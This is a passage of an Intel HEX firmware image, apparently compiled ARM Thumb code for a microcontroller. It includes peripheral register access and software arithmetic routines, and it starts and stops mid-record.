02209200985039\n:109CC00001221C001A62084AFC34E068002806D011\n:109CD0000020A322E060D2009B580B7010BD013A17\n:109CE000002AF2D10120F9E7A186010010B50B4C42\n:109CF00002680B4BA14205DC0A498160CC21490472\n:109D0000D15010BD084CA14204DC0849816080217B\n:109D1000C904F5E706498160CD21F9E78FD003003A\n:109D200024050000A08601007F1A060090D00300E1\n:109D3000801A060070B504001000A025C026C130AE\n:109D4000FF30F600ED05800046510800C130FF30BD\n:109D500080004651A1252068ED004251054A8150FE\n:109D600019002000FFF7C2FFA02305212268DB00B5\n:109D7000D15070BD0C050000F8B50E0015000400B0\n:109D800000F0FAFB264AF1B21378DBB2012B1DD1A9\n:109D9000507888421AD19778E8B2874216D1637317\n:109DA000204B19000022FC312360657126718A6204\n:109DB000A021C9005A501C4920005A5001325A5063\n:109DC0002A003100194BFFF7B5FFF8BD184BE8B278\n:109DD0001F78012F09D15F788F4206D19F78874283\n:109DE00003D102236373134BDBE71778002F04D1F1\n:109DF0000123137051709070D1E71A78002A04D1B2\n:109E000001321A7059709870EBE70B480FF01EF989\n:109E10000023FC222360657126719362FFDEC04639\n:109E2000722E002000300040FC0F0000A0860100D0\n:109E3000762E002000400040289003000368002296\n:109E40001900FC3110B58A62A021C9005A50064998\n:109E50005A5001325A5005220421825641568368D5\n:109E6000FFF768FF10BDC046FC0F0000036800212B\n:109E70001A00FC3210B5916001315961074B9168AD\n:109E8000002905D000240473FFF7D8FF200010BD7F\n:109E9000013B002BF3D10120F9E7C046A186010068\n:109EA000036810B51900FC318A6A0020012A08D124\n:109EB000044C1C5988625A610238A40701D401205D\n:109EC000404210BDC40400000261064A10B5426061\n:109ED000054A01738260054A190002600FF040FADA\n:109EE00010BDC0460405005010050050000700508A\n:109EF0000023134A30B5D35683421DD00123D356D5\n:109F000083421BD00223D356834214D1022319006B\n:109F100045310C480C4CFF3189000C5001210D00DB\n:109F20005C00601C8540A140A120084C2943C00072\n:109F30002150FF21D15430BD0023E8E70123E6E79B\n:109F4000EC00002000600040031F020000F0014010\n:109F5000A820012110B5124A124B1488C000596084\n:109F60001C50548810481C509088A922D200985048\n:109F7000802208209200985080200932FF3200038E\n:109F800098500A4A1078A222D2009850084A1088A5\n:109F9000084A985000221960FC331A6510BDC0466B\n:109FA000D200002000A0004044050000EF00002087\n:109FB000D00000204C050000012310B50A4ADC0047\n:109FC00014598C4207DD013BDB00D3185A68016845\n:109FD000064BCA5010BD0133112BF0D1802102680D\n:109FE000024B4905D150F5E79CF80200240500001A\n:109FF000F8B50F0016000122244BBA400360A023DD\n:10A00000234CDB05195905000A431A5180221959BE\n:10A0100012060A430121B1401A511A598A43962166\n:10A020001A511A598901520052081A51FFF7C4FFF8\n:10A03000002204202B6817495A506C3958500121CE\n:10A04000996019601900FC31CA6013495A506A605E\n:10A0500014391F325A5011495F5009185A501E5175\n:10A060007B1C03D0032138000FF058F9731C03D078\n:10A07000032130000FF052F90122094B29001A6028\n:10A08000084807320FF087FAF8BDC04600200040AC\n:10A09000140500006C0500001C0500000C05000004\n:10A0A000B42D0020DC2F0020962310B5DB00994250\n:10A0B00002DDFFF781FF10BD9E210268014BC9023E\n:10A0C000D150F8E7240500000168034B002A01D1B4\n:10A0D000CA5070470E22FBE76C050000C1230E4AF0\n:10A0E0009B00D15810B5090603D50C49096A00290F\n:10A0F00008D1D3585B0704D5084B0021DB68002B3F\n:10A1000001D110BD0121064B18680028F9D0054B7C\n:10A110001B689847F5E7C04600200040FC2000403F\n:10A12000B02D0020AC2D0020034B1960436803497B\n:10A130009B005A507047C046AC2D0020B02D002027\n:10A1400000681F4B30B5C3185C4263415B00002AB6\n:10A150001CD0002911D0012914D0FF20C024DD001B\n:10A16000A8401849A4000A598243C020A8400243CD\n:10A170000A5101229A400A6030BDC1220421920096\n:10A180008150EAE7C12280219200F9E7002908D036\n:10A190000129F1D1C2228024920084508258920871\n:10A1A00006E0C22204219200815082580339D2096C\n:10A1B0009143E1D001229A401300034AD367DBE7C1\n:10A1C00000E0FFBF00E100E004E100E003681A00E6\n:10A1D000FC32106A0128FCD100201062014AC9B289\n:10A1E000995070471C05000070B51D00A0230400A5\n:10A1F0001600DB00002D15D000224068C25008294F\n:10A2000002D00E480EF022FF032E0ED80C4B9B5DA1\n:10A21000A0220C48D200002D0CD061680B50022304\n:10A220008B5070BD0268D550E9E707480EF00EFF6D\n:10A230000023EDE721680B500123F1E73D90030077\n:10A24000399003005405000056900300036810B5D0\n:10A250005A1C0DD0A0220020164CD200985010009D\n:10A26000154AA14205DC80218904995001221A5027\n:10A2700010BD124CA14202DC8021C904F5E7104C4C\n:10A28000A14202DC80210905EFE70E4CA14202DC6D\n:10A2900080214905E9E70C4CA14202DC80218905B7\n:10A2A000E3E70A4CA14202DC8021C905DDE78021F9\n:10A2B0000906DAE78FD00300240500001FA107007C\n:10A2C0003F420F007F841E00FF083D00FF117A000F\n:10A2D000F7B5009308AB1B7805005BB20F001600C2\n:10A2E0000193013357D1614B1A78022A3ED1597834\n:10A2F000FAB291423AD19978F2B2914236D1DA78F3\n:10A300006B461B789A4231D10123594C03720123C9\n:10A31000002201205B426B603900564B2C60E250FA\n:10A32000E050A023C131FF31DB058900C8505249FC\n:10A3300067500099C131FF318900C850A1210098B0\n:10A34000C90060503100C131FF318900CA50A223D9\n:10A35000DB00E650FC3408212800E2601300FFF720\n:10A3600043FF46492800FFF771FFF7BD444A1378C1\n:10A37000DBB2022B0FD15078F9B288420BD1907822\n:10A38000F1B2884207D1D1786A461278914202D15F\n:10A390002B723C4CBBE73A4B1A78002A50D1023260\n:10A3A000F9B21A705970F1B2997069460978354C52\n:10A3B000D9702A72019B0133A9D0012300222D49B3\n:10A3C0005B4238002B6002336C6062506350A02106\n:10A3D000C130FF30C905800042503000C130FF302D\n:10A3E000800042500098C130FF30800042500198F8\n:10A3F000C130FF3080004250A221C90067501E4981\n:10A40000009866500439605001981F49605021003F\n:10A41000FC318A60CA62A721C900635010316350C1\n:10A420001A481B4960501B481B496050802104207A\n:10A4300089006050F939FF392800FFF7D5FE94E70D\n:10A440000A4B1A78002A0CD102321A70FAB25A70EA\n:10A45000F2B29A706A461278054CDA7001232B72B8\n:10A46000A8E70E480EF0F2FDA4E7C046722E0020C9\n:10A4700000300040FC0F00000C05000040420F00BF\n:10A48000762E002000400040140500007B2E0020A6\n:10A49000440500007A2E0020340500006790030078\n:10A4A00003681A00FC32D0680028FCD10548195016\n:10A4B000D1680129FCD10021D160A322D200985893\n:10A4C0007047C0461C050000A023F0B5274FDB00F5\n:10A4D000FA5885B001920022A024FA50E023244AC1\n:10A4E000E405DB00E658E2507833E158012502919B\n:10A4F000E250A1238022DB00D205E2500420E55087\n:10A500000EF075FFA222D200A35803979B0F2B4297\n:10A5100027D0A3582B4224D00120A023E022029967\n:10A52000DB05D2009E5078329950A023039A0199FE\n:10A53000DB00D15005B0F0BD0E4B0420EF500EF003\n:10A5400056FFA123DB00EF5004200EF050FFA223A2\n:10A55000DB00EB585B00DFD4013C002CECD1200089\n:10A56000DBE7A0251324ED050127F5E700400040B7\n:10A570000D0600000C050000A023E021134ADB05B6\n:10A58000C90010B55A5078315A50114B00221900A9\n:10A59000FC31CA600A62A1211E20C9005A500D4A2E\n:10A5A0000D4C9850CC200D4A40049850A2200C4AE3\n:10A5B000C00014500B480C4C145001205050A022E5\n:10A5C0000521D2009950FFF77FFF10BD0C06000057\n:10A5D000004000400C050000384100402405000008\n:10A5E00000F00140140500001C400040012310B59C\n:10A5F0000D4C0E49A36480239B00CB670C490D4A88\n:10A60000086D002804D00020086511680131116030\n:10A6100009490B60A923DB001068E358010C9BB2C9\n:10A620000004184310BDC0460090004004E100E063\n:10A63000FC900040B82D002000E100E0F8B50F4C80\n:10A64000636C002B0FD000270D4E67643378BB423C\n:10A6500009D00C4B1D68FFF7C9FF2D1ABD4202DC63\n:10A660003770FFF791F9236D002B05D0064A136868\n:10A670000133136000232365F8BDC046FC90004001\n:10A680007C2E0020BC2D0020B82D002070B51B4D65\n:10A690002878002831D10121194B1A4A596050609D\n:10A6A0008020C005016051680029FCD000221649B5\n:10A6B000A2205A5004240121C000D9601C5008383F\n:10A6C0001A501248C2261A50C1228020920000035C\n:10A6D00098508020400298500D4AB60090590D4C79\n:10A6E0000440C020000220439051C0248020640018\n:10A6F0008000105110601960297070BD7D2E0020FF\n:10A7000000900040FC000040040500004C050000E3\n:10A7100000E100E0FF00FFFF044B10B51B78002BA9\n:10A7200001D1FFF7B3FFFFF761FF10BD7D2E0020C1\n:10A73000104B70B51B780400002B01D1FFF7A6FF6A\n:10A740000D4D0E4E2B78002B02D03368A34210D053\n:10A75000FFF74CFF201A0A2803DCFFF747FF0A30F7\n:10A76000040001232B70A823054A3460DB00A4B247\n:10A77000D45070BD7D2E00207C2E0020BC2D0020EA\n:10A780000090004010B50400431C07D00EF07CFE82\n:10A790000400431C02D102480EF058FC200010BDFA\n:10A7A0007890030070B5224C2368DBB2012B03D1F3\n:10A7B0002048026813070DD08022A3230021D20570\n:10A7C000DB00D1501C4B9960013191609A68002ADE\n:10A7D000FCD070BD1949F0230A68E02615001D4021\n:10A7E000324221D1164A12681A420DD1154B164A2F\n:10A7F0001A608022154B12021A602368DBB2012B0B\n:10A80000DAD103681B07D7D1F0220B681340402B25\n:10A81000D2D10B4B1B681342CED18022C123012120\n:10A82000D205DB00D150C7E7302DDBD0ECE7C046C6\n:10A83000E00F00F0E40F00F0FC000040E80F00F033\n:10A84000EC0F00F004050040DFFF07C0186C00406B\n:10A85000014B18687047C046C02D002002B47146F5\n:10A8600049084900095649008E4402BC7047C04659\n:10A8700002B4714649084900095C49008E4402BC93\n:10A880007047C04603B47146490840004900095E5C\n:10A8900049008E4403BC7047002243088B4274D3A6\n:10A8A00003098B425FD3030A8B4244D3030B8B42D1\n:10A8B00028D3030C8B420DD3FF22090212BA030CDA\n:10A8C0008B4202D31212090265D0030B8B4219D3BB\n:10A8D00000E0090AC30B8B4201D3CB03C01A5241DB\n:10A8E000830B8B4201D38B03C01A5241430B8B4223\n:10A8F00001D34B03C01A5241030B8B4201D30B030C\n:10A90000C01A5241C30A8B4201D3CB02C01A524132\n:10A91000830A8B4201D38B02C01A5241430A8B42F5\n:10A9200001D34B02C01A5241030A8B4201D30B02DE\n:10A93000C01A5241CDD2C3098B4201D3CB01C01AF8\n:10A94000524183098B4201D38B01C01A5241430902\n:10A950008B4201D34B01C01A524103098B4201D3F0\n:10A960000B01C01A5241C3088B4201D3CB00C01A5D\n:10A97000524183088B4201D38B00C01A52414308D5\n:10A980008B4201D34B00C01A5241411A00D20146FA\n:10A99000524110467047FFE701B5002000F0F0F883\n:10A9A00002BDC0460029F7D076E7704703460B4347\n:10A9B0007FD4002243088B4274D303098B425FD3B8\n:10A9C000030A8B4244D3030B8B4228D3030C8B42E4\n:10A9D0000DD3FF22090212BA030C8B4202D31212CA\n:10A9E000090265D0030B8B4219D300E0090AC30B9F\n:10A9F0008B4201D3CB03C01A5241830B8B4201D34C\n:10AA00008B03C01A5241430B8B4201D34B03C01A34\n:10AA10005241030B8B4201D30B03C01A5241C30AAC\n:10AA20008B4201D3CB02C01A5241830A8B4201D31D\n:10AA30008B02C01A5241430A8B4201D34B02C01A07\n:10AA40005241030A8B4201D30B02C01A5241CDD2AC\n:10AA5000C3098B4201D3CB01C01A524183098B42F7\n:10AA600001D38B01C01A524143098B4201D34B01E0\n:10AA7000C01A524103098B4201D30B01C01A524143\n:10AA8000C3088B4201D3CB00C01A524183088B42CA\n:10AA900001D38B00C01A524143088B4201D34B00B3\n:10AAA000C01A5241411A00D2014652411046704725\n:10AAB0005DE0CA0F00D04942031000D3404253402A\n:10AAC00000229C4603098B422DD3030A8B4212D3EA\n:10AAD000FC22890112BA030A8B420CD3890192111C\n:10AAE0008B4208D3890192118B4204D389013AD059\n:10AAF000921100E08909C3098B4201D3CB01C01A2E\n:10AB0000524183098B4201D38B01C01A5241430940\n:10AB10008B4201D34B01C01A524103098B4201D32E\n:10AB20000B01C01A5241C3088B4201D3CB00C01A9B\n:10AB3000524183088B4201D38B00C01A5241D9D2B3\n:10AB400043088B4201D34B00C01A5241411A00D234\n:10AB50000146634652415B10104601D34042002B30\n:10AB600000D54942704763465B1000D3404201B5AF\n:10AB7000002000F005F802BD0029F8D016E7704764\n:10AB80007047C0468446101C62468C46191C6346BA\n:10AB900000E0C0461FB501F041FF002801D40021AC\n:10ABA000C8421FBD10B501F089FE4042013010BD02\n:10ABB00010B501F033FF002801DB002010BD01209B\n:10ABC00010BDC04610B501F029FF002801DD0020AE\n:10ABD00010BD012010BDC04610B501F0AFFE002829\n:10ABE00001DC002010BD012010BDC04610B501F0F1\n:10ABF000A5FE002801DA002010BD012010BDC046CE\n:10AC00008446081C6146FFE71FB500F041FC0028A0\n:10AC100001D40021C8421FBD10B500F0C5FB404261\n:10AC2000013010BD10B500F033FC002801DB00201E\n:10AC300010BD012010BDC04610B500F029FC002851\n:10AC400001DD002010BD012010BDC04610B500F090\n:10AC5000D3FB002801DC002010BD012010BDC04640\n:10AC600010B500F0C9FB002801DA002010BD01205A\n:10AC700010BDC046002B11D1002A0FD1002900D1F0\n:10AC8000002802D00021C943081C07B4024802A1D1\n:10AC90004018029003BDC046E9FEFFFF03B46846BA\n:10ACA00001B5029800F01EF8019B9E4602B00CBC54\n:10ACB0007047C0469E2110B5C905041CFFF7D0FFA0\n:10ACC000002803D1201C00F0FDFE10BD9E21201C99\n:10ACD000C90500F03DFD00F0F5FE80231B069C46F3\n:10ACE0006044F2E7F0B557464E464546DE46E0B5CD\n:10ACF000040083B00D00924699468B4230D82DD087\n:10AD00004946504602F070FE29000600200002F07D\n:10AD10006BFE331A9846203B9B4633D45A46534623\n:10AD2000934042461F00534693401E00AF423AD81C\n:10AD3000AF4200D17BE05B46A41BBD41002B00DA93\n:10AD400078E0002200230092019301235A469340A9\n:10AD50000193012342469340009328E08242CFD9D9\n:10AD600000220023009201930C9B002B01D01C6059\n:10AD70005D600098019903B03CBC90469946A2469C\n:10AD8000AB46F0BD424620239B1A5246DA4041466C\n:10AD900013004A468A40170042461F4353469340D9\n:10ADA0001E00AF42C4D90022002300920193434603\n:10ADB000002BD9D0FB079C46614672080A437B08EA\n:10ADC00046460EE0AB4201D1A2420CD8A41A9D41E6\n:10ADD000012024196D410021013E24184D41002E0F\n:10ADE00006D0AB42EED9013E24196D41002EF8D1B8\n:10ADF000009801995B4600196941002B25DB2B0067\n:10AE00005A464446D3402A00E2401C005B461500E7\n:10AE1000002B2BDB26005F46BE4033002600474652\n:10AE2000BE403200801A9941009001919CE7A342F4\n:10AE3000B9D880E74246202300219B1A00220091C6\n:10AE400001920122DA40019283E7424620239B1AB5\n:10AE50002A0046469A402300F340444613432A0002\n:10AE6000E2401C005B461500002BD3DA202342464B\n:10AE700026009B1ADE402F00B4464646B740664681\n:10AE80003B003343CAE7C046F8B54C02640A474664\n:10AE9000A0464C00C90FCE468946414643024600B3\n:10AEA0005B0A360E240E80B5C50F9C463200D800D2\n:10AEB000C900371B4D4560D0002F48DD002C00D164\n:10AEC0007CE0FF2E00D183E08023DB0419430123C3\n:10AED0001B2F07DC0B002022FB40D71BB9404A1E6A\n:10AEE00091410B43C31A5A0100D4B2E09B019C0963\n:10AEF000200002F05BFD05388440864200DDB1E0B1\n:10AF0000861B220020200136F240861BB44023001D\n:10AF10005C1EA341002613435A0704D00F221A4097\n:10AF2000042A00D004335A0100D495E00136F2B26D\n:10AF3000FF2E00D193E09B015B0A5B02D205580A09\n:10AF4000ED07104328430CBC90469946F8BD002FEE\n:10AF500049D1FE24771C3C4200D087E0002E00D06F\n:10AF6000DBE0002800D1CEE00029E6D0431A5C01E6\n:10AF700000D4EEE00B1A4D46CEE7002F54DD002C36\n:10AF80003FD0FF2E24D08023DB04194301231B2F45\n:10AF900007DC0B002022FB40D71BB9404A1E914121\n:10AFA0000B431B185A0154D50136FF2E57D00122EE\n:10AFB0006F491A405B080B401343ADE700292CD0C2\n:10AFC000013F431A002F00D18DE7FF2E00D07EE70E\n:10AFD0006346002B43D080236246DB0313435B02AE\n:10AFE0005B0AFF22A9E7A21B002E61D1002811D025\n:10AFF000013A002A00D1B2E0FF2C5ED14D46C44692\n:10B00000E6E7002909D0013F4318002FCAD0FF2EE0\n:10B01000BCD1DDE74D46C4462600FF2ED8D063469E\n:10B020005B025B0AF2B288E7002F29D1FE240136C9\n:10B0300034426DD1002A55D1002800D193E0002977\n:10B0400000D17AE7431800265A0102D5494A013651\n:10B0500013405A0700D061E7DB089C46DDE7FF227A\n:10B0600000236AE7434B361A234055E7441A63012D\n:10B070005DD4002C00D03BE70025002200235CE7D4\n:10B08000A21B002E28D10028C5D0013A002A6CD07E\n:10B09000FF2CB4D001231B2A07DC03002026D34059\n:10B0A000B21A9040421E904103435B18260079E794\n:10B0B000FF2CA3D08023DB04184301231B2A07DCC9\n:10B0C00003002025D340AA1A9040421E904103431A\n:10B0D000CB1A4D46260006E7FF2C90D08023DB04D8\n:10B0E0001843D7E700288AD0002900D170E78023D1\n:10B0F0006246DB031A4200D16AE742461A4200D098\n:10B1000066E7C44664E7002926D04D46434614E767\n:10B11000FF2EA4D043185B089BE700280AD1002922\n:10B1200000D06BE780230025DB03FF2205E70C1A24\n:10B130004D46DDE6002900D14AE780236246DB0365\n:10B140001A4200D144E742461A4200D040E74D4639\n:10B1500055E7002B00D07CE700250023EDE60B1A15\n:10B160004D462600BFE64346E7E64318260019E7AA\n:10B17000FFFFFF7DFFFFFFFBF0B54F464646D6467B\n:10B1800044024500C0B5640A0F1C2D0EC60F002DE9\n:10B190004FD0FF2D55D08023E400DB041C43002357\n:10B1A00099469A467F3D7B0278005B0A9846000EDE\n:10B1B000FF0F002831D0FF2810D08022DB00D204FE\n:10B1C0001A43904600217F382D1A4B4632000B431C\n:10B1D00071489B00C3587A40D2B29F46FF3D002B76\n:10B1E00054D102234946194332000B007A40033BF5\n:10B1F000D2B20C2B04D869499B00CB589F463A0029\n:10B20000002000246402C305600AD20718431043DB\n:10B210001CBC90469946A246F0BD002B2BD10123C1\n:10B220004946320019438B005D497A40CB58D2B26F\n:10B230009F46002C13D104239946033B00259A46D0\n:10B24000B1E7002C05D108239946063BFF259A4615\n:10B25000A9E70C239946093BFF259A46A3E720005E\n:10B2600002F0A4FB7625431F9C4000236D422D1A5B\n:10B2700099469A4697E7180002F098FB4246431F0A\n:10B280009A402D189046763500219EE703219CE7D1\n:10B2900017003A00FF200024B4E780240022E403D2\n:10B2A000FF20AFE732005346022BF1D0032B6CD0C6\n:10B2B000012BA5D028007F30002846DD630704D08D\n:10B2C0000F232340042B00D00434230103D528008E\n:10B2D000344B80301C40FE28DCDCA401640AC0B280\n:10B2E00090E78023DB031C4227D042461A4224D138\n:10B2F00044461C436402640A3A00FF2082E73A0095\n:10B3000044468A46CFE7414663014C01A34235D209\n:10B310001B200021013D01271E0049005B00002E7B\n:10B3200001DB9C4201D81B1B394301380028F3D1B3\n:10B330001C00631E9C410C43BCE78023DB031C43C1\n:10B340006402640A3200FF205CE70123181A1B28FC\n:10B3500000DD55E79E352300AC40C340611E8C41A3\n:10B360001C43630704D00F232340042B00D0043474\n:10B37000630107D4A401640A002043E71B1B1A20C1\n:10B380000121C8E7012000243CE78023DB031C43A4\n:10B390006402640AFF2035E724F9020064F9020020\n:10B3A00098F90200FFFFFFF770B542004E024C0013\n:10B3B00045026D0A120EC30F760A240EC90FFF2A2A\n:10B3C0000FD0FF2C11D00120A24200D070BDB54299\n:10B3D000FCD18B420DD0002AF8D12800451EA8418F\n:10B3E000F4E70120002DF1D1EBE70120002EEDD193\n:10B3F000E9E70020EAE7C046F0B5420046024D0208\n:10B400004C00C30F760A120E6D0A240EC80FFF2AD5\n:10B410001FD0FF2C10D0002A1FD171427141002C87\n:10B4200001D1002D1ED000290ED183421ED0022151\n:10B43000581E08400138F0BD002D26D1002AF4D155\n:10B44000714271410029F0D00028F4D1012040421E\n:10B45000F1E7002E19D1FF2CEED0002CE5D1002D04\n:10B46000E3D1E4E70020002EE5D0E0E7A24205DCCE\n:10B47000EADBAE4202D8E7D30020DCE7414241419B\n:10B480004842022108400138D5E702204042D2E775\n:10B49000F0B5420046024D024C00C30F760A120E70\n:10B4A0006D0A240EC80FFF2A0DD0FF2C0FD0002AE2\n:10B4B00023D171427141002C0FD1002D0DD10020FC\n:10B4C000002E14D00DE0002E10D1FF2C15D1002D30\n:10B4D0000CD1002A03D171427141002908D1834265\n:10B4E00010D00221581E0840013800E00220F0BDB3\n:10B4F0000028FCD101204042F9E7002CEFD1002DBB\n:10B50000EDD1EEE7A24205DCF2DBAE4202D8EFD38A\n:10B510000020ECE741424141484202210840013805\n:10B52000E5E7C046F0B54F464646D64644024500DC\n:10B53000C0B58846640A2D0EC70F002D49D0FF2DD7\n:10B540004FD08023E400DB041C43002399469A4635\n:10B550007F3D434642465E02D20F5B00760A1B0ED9\n:10B56000904646D0FF2B12D080220020F600D20455\n:10B570007F3B1643ED186A1C434694464A467B407F\n:10B580000F2A00D974E0704992008A589746FF3517\n:10B59000002E54D14A4602231A4391460220EAE77C\n:10B5A0004346340082465246022A2AD0032A00D15A\n:10B5B000C3E0012A00D082E0002200246402D20508\n:10B5C000600ADB07104318431CBC90469946A2460C\n:10B5D000F0BD002C27D104239946033B00259A4651\n:10B5E000B7E7002C19D108239946063BFF259A4658\n:10B5F000AFE7002E08D14A4601231A4391460120A5\n:10B60000B9E7FF220024D9E7300002F0CFF9431F49\n:10B610002D1A9E40763D0020ADE70C239946093B4C\n:10B62000FF259A4695E7200002F0C0F97625431FD2\n:10B630009C4000236D422D1A99469A4689E74A4656\n:10B6400003231A439146032095E73B00ABE7802490\n:10B650000023E403FF22B1E78023DB031C4245D033\n:10B660001E4243D133435C02640A4346FF22A5E7EE\n:10B67000200C2404210C0F00320C3604360C7743C6\n:10B6800051434643504389193A0C5218964203D904\n:10B6900080214902884640443F0411043F0CC919E7\n:10B6A0008C01661EB441890E2143140C2418A40198\n:10B6B0000C4322013CD50122610814400C43604632\n:10B6C0007F3000281ADD620704D00F222240042AAE\n:10B6D00000D00434220103D560461C4A8030144057\n:10B6E000FE288EDCA401640AC2B267E78020C00392\n:10B6F00004436402640A3B00FF225FE70122101A40\n:10B700001B2800DD58E762469E3221009440C1406C\n:10B71000621E94410C43620704D00F222240042A87\n:10B7200000D00434620105D4A401640A002245E774\n:10B73000AC46C4E70122002440E78022D203144330\n:10B740006402640AFF2239E7D0F90200FFFFFFF725\n:10B75000F8B543025B0ADA00DE4693464A02520A13\n:10B76000454690464E4657464446E0B54A00470097\n:10B770003F0EE400120EA1469C463E00C50FC90FC5\n:10B78000BC1AFF2A00D177E0012082465046414092\n:10B790008D4200D180E0002C51DD002A00D073E002\n:10B7A0004B46002B00D1DDE0013C002C0FD0FF2FD9\n:10B7B00000D1A5E001231B2C09DC20224946121BE5\n:10B7C00091404B460A00E340511E8A4113435A46BA\n:10B7D000D31A5A0100D4C0E09B019C09200002F05A\n:10B7E000E5F8230005388340864200DDC4E0861B6F\n:10B7F0001A0020200136F240861BB3405C1EA34194\n:10B80000002613435A0704D00F221A40042A00D0FE\n:10B8100004335A0100D4A3E00136F7B2FF2E00D161\n:10B82000A7E09B015B0A5802FF05400AED07384379\n:10B8300028433CBC90469946A246AB46F8BD002C36\n:10B840004FD1FE247A1C144200D099E05A46002FB2\n:10B8500000D000E1002A00D1F1E04A46002AE2D0FF\n:10B860004B465A46D31A5A0100D402E14B465A4677\n:10B870000D009B1A0026C5E74846002800D183E743\n:10B880008D4251D0002CDADDFF2F39D080234A467B\n:10B89000DB041A4391468DE7002C45DD002A3AD09F\n:10B8A000FF2F2DD080234A46DB041A439146012303\n:10B8B0001B2C09DC20224946121B91404B460A00F2\n:10B8C000E340511E8A4113435B445A0145D501367A\n:10B8D000FF2E4ED001226E491A405B080B401343E5\n:10B8E00090E7D41B0D00002F6FD15B46002B00D1D9\n:10B8F0008FE0013C002C00D1C2E0FF2A6CD1C4468D\n:10B900006346002B35D080236246DB0313435B0282\n:10B910005B0AFF2787E74B46002B23D0013C002C16\n:10B9200074D0FF2FC3D1EBE7002C35D1FE227E1C53\n:10B93000324200D089E05A46002F6DD1002A00D152\n:10B94000A3E04A46002A00D16DE75B464B4400263F\n:10B950005A0102D54F4A013613405A0700D053E727\n:10B96000DB089C46FF2ECBD063465B025B0AF7B236\n:10B9700059E7FF27002356E7464A361A134041E7A6\n:10B980004B465A46D41A63016FD4002C00D025E7E9\n:10B9900000250027002346E7D11B002F2CD0FF2ACB\n:10B9A000ADD080235846DB041843834601231B296E\n:10B9B00008DC5B4620245846CB40611A8840411E73\n:10B9C000884103434B4416007FE7FF2A97D080232A\n:10B9D0005946DB0419438B4601231B2C08DC20212C\n:10B9E0005B465846E3400C1BA040411E8841034380\n:10B9F00049461600CB1AECE65B46002B09D001390C\n:10BA00000029DFD0FF2AD1D1C44679E75B464B44F9\n:10BA10005BE7C4461600A5E7002A00D16FE74A4657\n:10BA2000002A00D16CE78022D203134200D167E7DD\n:10BA30004346134200D063E70D00C44660E74B461F\n:10BA4000002B1AD00D004346EDE6FF2E91D05B4649\n:10BA50004B445B0881E7002AE1D14B46002BEBD138\n:10BA600080230025DB03FF27DDE64B460D009C1AF3\n:10BA7000B4E60026002B00D06FE700250023D2E6B5\n:10BA80004B46594616005B1AA3E64346CBE6C04632\n:10BA9000FFFFFF7DFFFFFFFB42024B02400049001A\n:10BAA000520A5B0A090E000EFF2806D00020FF296B\n:10BAB00002D11800431E98417047FE38002AFBD17E\n:10BAC000F4E7C04641024200C30F490A120E0020AB\n:10BAD0007E2A03D99D2A02D9094A981870478020E6\n:10BAE00000040143952A07DC9620821AD14048427F\n:10BAF000002BF3D10800F1E7963A9140F7E7C046F2\n:10BB0000FFFFFF7F70B5002812D0C317C5185D4036\n:10BB1000C40F280001F04AFF9E22121A962A11DC57\n:10BB2000D2B2082833DD083885406802400A02E0B6\n:10BB30000024002200204002D205400AE4071043FE\n:10BB4000204370BD992A0BDD052329001B1AD9401B\n:10BB500003001B339D402B005D1EAB4119430D00BC\n:10BB6000052801DD431F9D402B000A490B406E074D\n:10BB700009D00F263540042D05D004335D0102D5D0\n:10BB80009F220B40121A9B01580AD2B2D3E76802D7\n:10BB9000400AD0E7FFFFFFFB70B5041E0DD001F097\n:10BBA00005FF9E22121A962A0EDCD2B208282EDD3C\n:10BBB000083884406002400A01E000220020400270\n:10BBC000D205400A104370BD992A09DD0300210007\n:10BBD0001B3399404B1E994105231B1ADC400C4333\n:10BBE000052801DD431F9C4023000A490B406507DF\n:10BBF00009D00F252C40042C05D004335C0102D55C\n:10BC00009F220B40121A9B01580AD2B2D7E760025A\n:10BC1000400AD4E7FFFFFFFBF8B54746CE460E03C8\n:10BC20004D00760ACC0F410F31438946190380B588\n:10BC3000490A570F5E000F436D0DC000760DDB0FF4\n:10BC4000B846D2009C4200D1A3E0AF1B002F00DC1D\n:10BC500083E0002E00D1C1E0C94B9D4200D188E1B4\n:10BC6000802341461B0419438846382F00DD5DE1DF\n:10BC70001F2F00DD07E2202311004646DB1B9E40FC\n:10BC8000F9409A400E434146531E9A41F9404B46B3\n:10BC90005B1A99463243871AB84280414B4641426B\n:10BCA000591A0B0200D4D7E049024E0A002E00D1E7\n:10BCB0002FE1300001F07AFE0300083B202239001A\n:10BCC000D21A9E40D1409F400E439D4200DD1CE1B0\n:10BCD0005D1B6B1C1F2B00DDAAE12021C91A3D0052\n:10BCE00030008F408840DD40791E8F41310028436D\n:10BCF000D940002507437B0709D00F233B40042B85\n:10BD000005D03B1DBB42BF417F42C9191F000B023A\n:10BD100000D4A4E06A1C9A4B55056D0D9A4200D1DF\n:10BD2000AAE0984AFF080A40500738438446520266\n:10BD3000120B00211203130B0A0D12051A43924B2A\n:10BD40002D0513402B435B00E4075B08234360464B\n:10BD500019000CBC90469946F8BD002F4CD18B4E73\n:10BD6000691C314200D0E7E046464946164301438C\n:10BD7000B446002D00D00EE2002900D1CFE1002E04\n:10BD800000D010E24B46C0085F070743BC46D90805\n:10BD90006DE0AB1B002B00DC9EE0002E3ED078490E\n:10BDA0008D4200D1E5E080213E0009040E43B046FB\n:10BDB000382B00DD4BE11F2B00DC81E119004646EA\n:10BDC0002039CE40202B04D04021CB1A4146994047\n:10BDD0000A4317007A1E974137433DE14346134318\n:10BDE00000D1BDE07B1E002B00D1B2E164498F423F\n:10BDF00000D1A7E11F0038E7771B002D00D0EFE04E\n:10BE00004946014300D177E1791E002900D119E2AA\n:10BE10005B4CA74200D14BE20F00EAE0390011432E\n:10BE200000D1A0E1591E002900D158E1544EB3427F\n:10BE300000D187E10B00BBE7514B9E4200D132E2BB\n:10BE400082188242804149463500414440420918E7\n:10BE5000CF075208174349087B0700D04DE7480732\n:10BE6000FF080743BC46C908454B9D4229D00A0339\n:10BE70006D05120B6D0D5CE71500002300229C463A\n:10BE800057E74B465F07D9084346C008134338437A\n:10BE9000002B00D1F6E180231B03194208D0454650\n:10BEA000ED081D4204D143462900D208580710432B\n:10BEB000CA00430F1A43C0005707C0080743BC46D7\n:10BEC000D10863460B4300D112E2802212030A43D9\n:10BED0001203120B2A4D2CE7002B59D12B4B6E1C51\n:10BEE0001E42A9D14B460343002D00D00DE1002B8B\n:10BEF00000D1B2E13B00134300D0B5E14B46C0088E\n:10BF00005F0738438446D908B1E71E49ED1A31402E\n:10BF1000F1E6380001F04AFD030018331F2B00DC66\n:10BF2000CCE63E00083886400027CEE64346134361\n:10BF30001A00571EBA41AEE649464646871A8E1B7E\n:10BF4000B84289414942761A310200D519E13B00D5\n:10BF500033439C4600D0A9E600210025002486E753\n:10BF60004B46C